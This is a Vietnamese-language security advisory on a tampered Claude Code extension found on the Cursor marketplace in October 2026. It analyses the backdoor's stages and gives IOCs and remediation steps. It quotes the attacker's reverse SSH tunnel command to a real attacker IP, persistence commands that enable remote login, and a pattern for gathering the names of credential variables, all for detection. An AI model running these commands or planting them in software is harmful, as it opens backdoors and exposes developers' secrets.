Tên publisher đã xác minh, 11 giờ phát tán, một khóa SSH ở lại mãi: bản Claude Code giả trên Cursor Marketplace

Tóm tắt
Ngày 29/10/2026, hai phiên bản của extension Anthropic.claude-code — 2.1.312 và 2.1.313 — xuất hiện trên Cursor VS Code Extension Marketplace với mã độc được chèn vào. Cửa sổ phát tán kéo dài khoảng 11 giờ: từ 02:27 đến 13:35 giờ Thái Bình Dương, tức 16:27 ngày 29/10 tới 03:35 ngày 30/10 giờ Việt Nam.
Payload cắm một khóa SSH của kẻ tấn công vào ~/.ssh/authorized_keys, mở reverse SSH tunnel về server của chúng, cài persistence riêng cho từng hệ điều hành, và gửi một gói thông tin máy chủ về C2.
Hai điều cần nhớ:
- Cursor khẳng định các phiên bản này không do Anthropic phát triển, và kênh phát hành chính thức của Anthropic không bị ảnh hưởng. Đây là sự cố chỉ chạm tới người dùng Cursor.
- Gỡ hoặc cập nhật extension không gỡ được backdoor. Khóa SSH và cơ chế persistence vẫn nằm lại trên máy. Hành động ưu tiên:
- Nếu bất kỳ ai trong đội dùng Cursor và có cài hoặc cập nhật extension Claude Code trong cửa sổ trên, hãy kiểm tra ngay chuỗi
svc-telemetrytrong~/.ssh/authorized_keys. Đây là một lệnh grep, mất mười giây, và là chỉ dấu đặc hiệu nhất. - Coi mọi credential trên máy đó là đã lộ và xoay chúng từ một máy sạch, không phải từ chính máy nghi nhiễm.
Diễn biến
29/10/2026 02:27 PT Phien ban chinh sua xuat hien tren Cursor Marketplace
(16:27 ngay 29/10 gio Viet Nam)
29/10/2026 13:35 PT Khong con tai duoc; Cursor go ngay khi phat hien
(03:35 ngay 30/10 gio Viet Nam)
29/10/2026 Cursor dong hoan toan marketplace de phong ngua,
sau do dung lai va mo cua tro lai
30/10/2026 05:30 UTC Phorion cong bo phan tich ky thuat
30/10/2026 11:30 PT Cursor cap nhat IOC va lam ro pham vi phien ban
31/10/2026 00:43 UTC Phorion bo sung 2.1.312 vao pham vi, theo notice cua Cursor
Ngoài việc gỡ extension, Cursor còn: chặn phát tán tiếp, rà soát quyền truy cập và xác nhận không extension nào khác bị can thiệp, xoay khóa của chính mình trước khi mở lại marketplace, và phối hợp với nhà cung cấp hosting để hạ server của kẻ tấn công — theo Cursor, server này đã không còn hoạt động.
Ghi chú về phạm vi phiên bản: Cursor nói với The Register rằng extension độc hại là bản 2.1.313, tải được trong khoảng 11 giờ. Thông báo chính thức sau đó bổ sung 2.1.312 vào phạm vi. Bài này theo thông báo chính thức: cả hai phiên bản đều nằm trong diện cần kiểm tra.
Payload: bốn giai đoạn, chạy trước cả activate
Mã độc là một IIFE được chèn vào đầu file extension.js đã minify. Nó import child_process, fs, os, path, http, crypto.
Điểm quan trọng về thời điểm: đoạn này chạy ngay khi Node load file, trước khi hàm activate của extension được gọi. Không cần người dùng mở Claude Code, không cần bấm gì. Chỉ cần IDE nạp extension.
Giai đoạn 1 — Cắm khóa vào authorized_keys
Payload nối thêm một khóa công khai Ed25519 với comment svc-telemetry vào ~/.ssh/authorized_keys, rồi đặt quyền ~/.ssh thành 0700 và file thành 0600 — tức là nó còn sửa cho đúng chuẩn để SSH chấp nhận khóa.
Một chi tiết hữu ích cho việc săn tìm: script kiểm tra sự tồn tại của chuỗi svc-telemetry, không kiểm tra bản thân khóa. Nghĩa là chuỗi đó là chỉ dấu đáng tin cậy để grep.
Sau đó nó thử bật SSH server của hệ điều hành — và đây là chỗ payload gặp sự cố:
- Trên macOS: script chạy
systemsetup -getremoteloginmà không có quyền root. Lệnh in ra thông báo lỗi yêu cầu quyền admin nhưng exit code vẫn là 0. Regex/Off/icủa script không khớp với thông báo lỗi đó, nên bước bật Remote Login bị bỏ qua. - Trên Windows: lệnh
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0được gọi qua một helper hardcode/bin/sh, nhiều khả năng fail trên một cài đặt Windows tiêu chuẩn. Payload không có exploit leo thang đặc quyền nào. Việc bật SSH cầnsudo -nhoặc một phiên đã có quyền admin sẵn.
Nhưng đây không phải lý do để yên tâm, và cả Cursor lẫn Phorion đều nói rõ điều đó. Khóa vẫn nằm trong authorized_keys. Nếu Remote Login được bật sau đó — vì bất kỳ lý do chính đáng nào, một lập trình viên bật SSH để làm việc chẳng hạn — backdoor có hiệu lực ngay. Thông tin máy cũng đã được gửi đi, và persistence đã được cài.
Giai đoạn 2 — Reverse tunnel
Payload mở một kết nối SSH đi ra ngoài, forward cổng remote 0 về cổng local 22:
ssh -N -R '*:0:localhost:22' tunnel@134.209.82[.]225 -p 22
tat host key checking, bo qua known_hosts, BatchMode,
IdentitiesOnly, keepalive 30 giay, ExitOnForwardFailure
Khóa private Ed25519 dùng cho tunnel được nhúng thẳng trong payload, không mã hóa, comment svc-telemetry-tun, và ghi ra:
$TMPDIR/.stk_<10 ky tu hex>
hau to = 10 ky tu dau cua MD5(hostname + HOME)
Cách đặt tên này khiến tên file khác nhau trên từng máy, nên không thể dùng một tên file cố định để tìm — phải tìm theo mẫu .stk_*.
Vòng kết nối lại dùng autossh -M 0 nếu có sẵn, không thì ssh, thử lại mỗi 60 giây trong một tiến trình detached. Hệ quả: nó sống sót khi bạn đóng IDE.
Về phía kẻ tấn công, chúng kết nối tới cổng mà server cấp phát, đi ngược qua tunnel tới SSH daemon của nạn nhân, và xác thực bằng chính khóa đã cắm ở giai đoạn 1.
Giai đoạn 3 — Persistence
| Nền tảng | Cơ chế | Ghi chú |
|---|---|---|
| macOS | LaunchAgent của user ~/Library/LaunchAgents/com.apple.sysmond.plist, chạy /bin/sh ~/.config/.smt với RunAtLoad và KeepAlive |
Chạy trong ngữ cảnh user, không phải daemon root |
| Linux | Mục crontab @reboot trỏ tới ~/.config/.smt |
Theo Phorion, đoạn xử lý crontab có thể xóa sạch cron job sẵn có của user khi chạy lặp lại |
| Windows | Scheduled task SysMon chạy quyền SYSTEM; fallback là sysmon.cmd trong thư mục Startup |
Tạo task cần quyền admin; fallback chạy khi user đăng nhập |
Tên gọi được chọn để trông quen mắt: com.apple.sysmond, SysMon, sysmon.cmd — đều gợi tới các thành phần giám sát hệ thống hợp pháp.
Giai đoạn 4 — Beacon
Khoảng 1,5 giây sau khi cài đặt xong, payload gửi một lần duy nhất một gói thông tin:
- Hostname, username, hệ điều hành, kiến trúc, thư mục home, thư mục làm việc
- Git email cấu hình global
- IP public, lấy từ
ifconfig.me, dự phòngapi.ipify.org - Cờ trạng thái cho biết các bước cài đặt thành công hay không
- Tên của tối đa 40 biến môi trường khớp mẫu
KEY|TOKEN|SECRET|PASS|AWS|GCPChi tiết cuối đáng chú ý: payload lấy tên biến, không lấy giá trị. Nói cách khác, đây là bước trinh sát để biết máy này có gì đáng lấy, còn việc lấy thật sẽ diễn ra qua tunnel SSH.
Vận chuyển là HTTP plaintext, POST tới /beacon trên 134.209.82[.]225:8099, và có thêm một lần gửi tới 127.0.0.1:8099 mà Phorion không giải thích được — script không hề dựng listener local nào. Response bị bỏ qua hoàn toàn, củng cố giả thiết đây chỉ là một lần điểm danh.
Vào marketplace bằng đường nào: chưa ai trả lời
Đây là câu hỏi quan trọng nhất của cả sự cố, và cần trình bày đúng ba lớp thông tin hiện có, không hợp nhất chúng lại:
Cursor viết rằng phiên bản chỉnh sửa "was made available" trên marketplace, và không giải thích nó được tải lên bằng cách nào. Cursor khẳng định các phiên bản này không do Anthropic phát triển, đã rà soát quyền truy cập, xác nhận không extension nào khác bị can thiệp, và đã xoay khóa của mình.
Anthropic, qua Felix Rieseberg (technical staff) trên X, nói: "We're working with Cursor on this incident, but it wasn't a compromise of Anthropic's systems or employee laptops", rằng "a malicious actor used access to Cursor's marketplace to publish a tampered copy of the Claude Code extension" mà họ "didn't build or publish", và rằng "the versions on our official channels are not affected, and this only impacts Cursor users".
The Register ghi nhận thêm rằng một số nhân vật trong ngành cho rằng việc đăng tải này diễn ra sau một vụ xâm nhập tại Anthropic — nhưng không bên nào xác nhận điều đó.
Tương tự với con số nạn nhân: The Register dẫn con số "tới 5.000 developer" nhưng ghi rõ đây là cáo buộc từ giới bảo mật, không phải số liệu của Cursor hay Anthropic. Tới nay không bên nào công bố con số chính thức.
Nhận định
Tên publisher đã xác minh không còn là tín hiệu tin cậy khi cùng một extension tồn tại trên nhiều marketplace. Người dùng Cursor thấy Anthropic.claude-code, thấy tên nhà phát hành đúng, và cài. Niềm tin họ đặt vào là niềm tin vào Anthropic, nhưng thứ bảo vệ họ thực tế lại là quy trình kiểm soát của Cursor. Khoảng cách giữa hai thứ đó chính là chỗ sự cố này xảy ra, và nó tồn tại ở mọi hệ sinh thái có marketplace song song.
Extension IDE là một trong những vị trí có giá trị nhất mà kẻ tấn công có thể chiếm. Nó chạy với quyền của lập trình viên, trên máy có SSH key, token cloud, credential repository, và quyền truy cập vào hệ thống nội bộ. Bộ lọc KEY|TOKEN|SECRET|PASS|AWS|GCP trong payload cho thấy kẻ tấn công biết chính xác chúng đang tìm gì.
authorized_keys là persistence rẻ nhất và bền nhất còn lại trên máy dev. Nó không phải malware, không có tiến trình nào để diệt, không có file lạ nào để quét. Nó là một dòng văn bản trong một file mà hầu như không hệ thống giám sát nào theo dõi. Và như sự cố này cho thấy, nó sống sót qua việc gỡ extension, qua việc cập nhật, và qua việc khởi động lại.
Việc payload có lỗi là thông tin về quy trình, không phải về nguy cơ. Hai lỗi trên macOS và Windows cho thấy code được dựng nhanh và không được kiểm thử trên nền tảng thật. Điều đó phù hợp với một cửa sổ phát tán 11 giờ: kẻ tấn công có thể không biết mình sẽ có bao nhiêu thời gian, nên ưu tiên triển khai sớm hơn là hoàn thiện. Nhưng với mỗi máy cụ thể, lỗi của chúng không đổi được kết luận: khóa đã nằm đó, persistence đã cài, dữ liệu đã gửi đi.
Phản ứng của Cursor là phần đáng ghi nhận. Gỡ ngay khi phát hiện, đóng hẳn marketplace thay vì chỉ gỡ một extension, dựng lại, rà soát toàn bộ, xoay khóa, phối hợp hạ server tấn công, và công bố IOC đầy đủ kèm script gỡ cho cả hai nền tảng. Đó là một quy trình ứng cứu mà nhiều nền tảng lớn hơn không làm được.
Nhưng khoảng trống về nguyên nhân gốc vẫn là một vấn đề chưa đóng. Cho tới khi có lời giải thích về việc kẻ tấn công có được quyền đăng extension dưới tên publisher đó bằng cách nào, các tổ chức không có cơ sở để đánh giá liệu sự cố này có thể lặp lại hay không. Đó là câu hỏi nên theo dõi tiếp, chứ không phải câu hỏi đã có đáp án.
Liên hệ Việt Nam
- Không có số liệu nạn nhân theo quốc gia trong bất kỳ nguồn nào, kể cả tổng số. Nhưng đây là sự cố phân phối qua marketplace, không chọn mục tiêu — ai cài trong cửa sổ đó thì dính.
- Cursor đang được dùng rất rộng trong các đội phát triển tại Việt Nam, và extension Claude Code là một trong những extension phổ biến nhất trên đó. Đây là sự cố cần kiểm tra trực tiếp, không phải tin tức để tham khảo.
- Cửa sổ phát tán rơi vào giờ làm việc buổi tối của Việt Nam: 16:27 ngày 29/10 đến 03:35 ngày 30/10. Đây là khoảng thời gian nhiều dev VN vẫn đang làm việc và IDE vẫn đang tự cập nhật extension.
- Máy lập trình viên tại Việt Nam thường nằm ngoài phạm vi EDR, hoặc có exclusion cho thư mục dự án và thư mục công cụ để tránh ảnh hưởng hiệu năng build. Với payload này, exclusion đó đồng nghĩa với việc không có gì chặn lại.
~/.ssh/authorized_keysgần như không bao giờ được giám sát trên máy dev. Nếu tổ chức bạn chưa có cảnh báo cho thay đổi file này, sự cố này là lý do đủ tốt để thêm vào — chi phí thấp, nhiễu thấp, và áp dụng được cho nhiều chiến dịch khác.- Lưu ý khi điều tra: nếu máy dev có cấu hình SSH để kết nối tới server nội bộ, hãy coi các server đó nằm trong phạm vi điều tra, không chỉ riêng máy dev.
Khuyến nghị
Nếu có người trong đội dùng Cursor
- Kiểm tra
~/.ssh/authorized_keystìm chuỗisvc-telemetrytrên mọi máy có cài Cursor, không chỉ những máy nhớ là đã cập nhật. Đây là bước đầu tiên và rẻ nhất. - Tìm các artifact theo nền tảng trong mục IOC: LaunchAgent
com.apple.sysmond.plisttrên macOS, cron@reboottrỏ tới~/.config/.smttrên Linux, scheduled taskSysMonvàsysmon.cmdtrong Startup trên Windows, cùng file.stk_*trong thư mục temp. - Tìm tiến trình đang chạy:
ssh -N -Rhoặcautossh -M 0có đích là134.209.82[.]225, và vòng lặp/bin/shretry. - Rà log mạng tìm kết nối tới
134.209.82[.]225cổng 22 và 8099 trong và sau cửa sổ 29–30/10. Beacon là HTTP plaintext nên rất dễ nhận ra nếu bạn có log proxy hoặc NetFlow. - Nếu trúng bất kỳ chỉ dấu nào: cô lập máy trước, điều tra sau. Gỡ extension không đủ, và Cursor khuyến nghị cân nhắc dựng lại máy.
- Gỡ thủ công theo thứ tự: diệt tiến trình retry và các tiến trình
ssh/autossh; gỡ và xóa LaunchAgent, cron entry hoặc scheduled task cùng script Startup; xóa~/.config/.smt,~/.config/.smtk,.stk_*; xóa dòng khóasvc-telemetrykhỏiauthorized_keys; xác nhận Remote Login đã tắt. Cursor cũng cung cấp scriptremediate-macos.shvàremediate-windows.ps1. - Xoay toàn bộ credential mà user đó chạm tới, từ một máy sạch — ưu tiên những thứ khớp bộ lọc của payload: API key, token, secret, credential AWS và GCP, cùng mọi SSH key cá nhân trên máy.
Phòng ngừa cho lần sau
- Giám sát thay đổi của
~/.ssh/authorized_keystrên mọi máy có người dùng, coi đó là sự kiện bảo mật chứ không phải thao tác thường ngày. - Cân nhắc khóa nguồn cài extension cho đội phát triển: chỉ cho phép marketplace đã được duyệt, và kiểm soát việc tự động cập nhật extension thay vì để mặc định.
- Đưa máy dev vào phạm vi EDR thật sự. Nếu bắt buộc phải có exclusion vì hiệu năng, hãy giới hạn exclusion ở thư mục build output, đừng mở rộng ra toàn bộ thư mục công cụ và thư mục người dùng.
- Cảnh báo cho kết nối SSH đi ra internet từ máy trạm. Với đa số tổ chức, một máy dev mở SSH ra một IP lạ là bất thường, và đây là tín hiệu nhiễu thấp.
- Có sẵn quy trình xoay credential cho máy dev. Trong sự cố kiểu này, phần tốn thời gian nhất không phải là dọn máy mà là xác định máy đó từng chạm tới những bí mật nào.
IOC
Trích từ thông báo chính thức của Cursor và phân tích của Phorion.
Phiên bản bị ảnh hưởng
Anthropic.claude-code 2.1.312
Anthropic.claude-code 2.1.313
Nen tang: Windows va macOS
Cua so phat tan: 29/10/2026, 02:27 - 13:35 PT
(16:27 29/10 - 03:35 30/10 gio Viet Nam)
Hash SHA-256 — gói VSIX
fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364 2.1.312 darwin-arm64
3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 2.1.312 win32-x64
80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c 2.1.313 darwin-arm64
6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731 2.1.313 win32-x64
Hash SHA-256 — payload
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 extension.js (chua IP ke tan cong va chuoi svc-telemetry)
Mạng
134.209.82.225 # server ke tan cong
134.209.82.225:22 # reverse SSH, user "tunnel"
134.209.82.225:8099 # beacon, HTTP POST /beacon
127.0.0.1:8099 # beacon loopback (khong giai thich duoc, khong co listener)
ifconfig.me, api.ipify.org # dich vu hop phap, chi dung de lay IP public
# KHONG phai IOC khi dung mot minh
Khóa SSH
Comment khoa cam vao authorized_keys: svc-telemetry
Fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
Comment khoa tunnel: svc-telemetry-tun
Fingerprint: SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
File và persistence
macOS:
~/Library/LaunchAgents/com.apple.sysmond.plist
$TMPDIR/.stk_<10 hex>
~/.config/.smt, ~/.config/.smtk
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64
Linux:
~/.config/.smt, ~/.config/.smtk
/tmp/.stk_<10 hex>
crontab: muc @reboot tro toi ~/.config/.smt
Windows:
%USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk
%TEMP%\.stk_<10 hex>
Scheduled task: SysMon (chay quyen SYSTEM)
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd
Luu y: hau to cua .stk_* = 10 ky tu dau cua MD5(hostname + HOME),
khac nhau tren tung may, phai tim theo mau chu khong theo ten co dinh
Tiến trình và lệnh
ssh -N -R '*:0:localhost:22'
autossh -M 0
vong lap /bin/sh retry moi 60 giay (tien trinh detached)
schtasks /create /tn SysMon
systemsetup -setremotelogin on
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Tài liệu tham khảo
- Cursor — Security notice: malicious version of Anthropic.claude-code (2.1.312 and 2.1.313) identified in the Cursor VS Code Extension Marketplace (29/10/2026, cập nhật 30/10): https://cursor.com/blog/claude-code-extension-security-notice
- Phorion (Calum Hall) — Official Claude Code Extension Compromise: Security Advisory (30/10/2026): https://phorion.io/blog/offical-claude-code-vsx-compromise/
- BleepingComputer — Malicious Claude Code extension on Cursor planted SSH backdoors: https://www.bleepingcomputer.com/news/security/malicious-claude-code-extension-on-cursor-planted-ssh-backdoors/
- The Register — Anthropic: That Claude Code extension compromise… couldn't be us (30/10/2026): https://www.theregister.com/cyber-crime/2026/10/30/anthropic-that-claude-code-extension-compromise-couldnt-be-us/5306682
- CSO Online — Cursor removes malicious Claude Code extension after SSH backdoor attempt: https://www.csoonline.com/article/4243210/cursor-removes-malicious-claude-code-extension-after-ssh-backdoor-attempt.html
Comments
Join the discussionNo comments yet. Be the first to comment.





